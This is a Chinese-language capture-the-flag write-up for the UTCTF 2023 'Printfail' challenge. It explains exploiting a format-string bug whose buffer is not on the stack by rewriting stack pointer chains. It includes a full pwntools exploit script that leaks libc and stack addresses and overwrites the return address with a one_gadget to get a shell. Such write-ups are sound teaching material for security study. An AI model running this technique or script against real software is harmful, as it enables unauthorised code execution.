0%

【Pwn#0x0E】UTCTF 2023 Printfail writeup

非栈上的格式化字符串利用。

非栈上的格式化字符串利用方法

参考文章:非栈上格式化字符串漏洞利用技巧-安全客

想用格式化字符串来覆写任意位置的数据时,通常是把指针附在字符串的末尾,然后用 %k$n 来引用这个指针。但是如果程序不在栈上读取字符串,就没有办法指向自定义的指针了。

当然,方法依然存在,就是利用栈上已有的指针。在 64 位环境下,如果栈上存在一个指另一个指另一个的三级链结构(也就是两个指向栈的指针),就仍旧可以构造出任意的指针,如下图所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌────────────────┐
│ │
├────────────────┤
│First PTR │
├──────────────┬─┤
│ │ │
│ │ │
├────────────┬─▼─┤
│Second PTR │ │
├────────────┴─┬─┤
│ │ │
│ ┌───┬───┬───┤ │
│ │ │ │ │ │
├──▼─┬─▼─┬─▼─┬─▼─┤
│Vict│im │ │ │ Victim位置可以通过覆写第二个指针的低位自行决定!
├────┴───┴───┴───┤
│ │
└────────────────┘

借助第一个指针,我们可以控制第二个指针的低位,从而几乎可以控制栈上任意地方的数据。这时候我们即可以直接修改返回地址为 one_gadget,也可以造出一个指向别的地方的指针,然后再借助这个指针来达成任意地址读写。
当然,这种方法最好需要能够进行多次格式化字符串攻击。

此外,在 32 位环境下,似乎只要一个指向栈上的指针就可以完成上述攻击。

程序逻辑

程序会邀请用户输入字符串,并用 printf 打印出来。在打印前,程序会调用 strlen 检查输入字符串长度,若发现长度<=1 的话,就将栈上的一个变量设为 1。程序会根据该变量是否为 1 来决定是否重新进行读取和输出。

漏洞分析与利用

明显的格式化字符串漏洞,但字符串 buffer 不在栈上,给漏洞的利用增加了难度。
首先想办法达成多次格式化字符串漏洞,可以用栈上的一个指向上述检查变量的指针来覆写该变量为 1,达成无限次的输入。

然后就是非栈上的格式化字符串如何利用的问题了,这里简述利用思路。

首先借助栈上已有的数据泄露 libc 地址和栈的地址(这个通过 saved_rbp 泄露的)。
然后把栈上的返回地址两字节两字节地覆写为 one_gadget 的地址就好了。

EXP 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
def pwn():
# io = process([filename])
io = remote("puffer.utctf.live", 4630)

payload = b"a%7$n%8$p.%13$p."
io.sendline(payload)

io.recvuntil(b"0x")
ret_addr = int(io.recvuntil(b".")[:-1].decode("ascii"), 16) + 0x8
success("ret_addr: "+hex(ret_addr))
io.recvuntil(b"0x")
libc = int(io.recvuntil(b".")[:-1].decode("ascii"), 16) - 0x24083
success("libc: "+hex(libc))

one_gadget = libc+0xe3b01

io.recvuntil(b"another chance.")
payload = b"%"+str(ret_addr%0x10000).encode("ascii")+b"c"
payload += b"%15$hn"
payload += b"%7$n"
io.sendline(payload)

io.recvuntil(b"another chance.")
data = one_gadget%0x10000
payload = b"%"+str(data).encode("ascii")+b"c"
payload += b"%43$hn"
payload += b"%7$n"
io.sendline(payload)

io.recvuntil(b"another chance.")
payload = b"%"+str(ret_addr%0x100+2).encode("ascii")+b"c"
payload += b"%15$hhn"
payload += b"%7$n"
io.sendline(payload)

io.recvuntil(b"another chance.")
data = (one_gadget%0x100000000 - data)/0x10000
payload = b"%"+str(data).encode("ascii")+b"c"
payload += b"%43$hn"
payload += b"%7$n"
io.sendline(payload)

io.recvuntil(b"another chance.")
payload = b"%"+str(ret_addr%0x100+4).encode("ascii")+b"c"
payload += b"%15$hhn"
payload += b"%7$n"
io.sendline(payload)

io.recvuntil(b"another chance.")
data = (one_gadget%0x1000000000000 - one_gadget%0x100000000)/0x100000000
payload = b"%"+str(data).encode("ascii")+b"c"
payload += b"%43$hn"
payload += b"%7$n"
io.sendline(payload)

# check & trigger return to one_gadget
io.recvuntil(b"another chance.")
payload = b"%8$p.%13$p.%15$p.%43$p"
io.sendline(payload)

io.interactive()

if __name__ == '__main__':
pwn()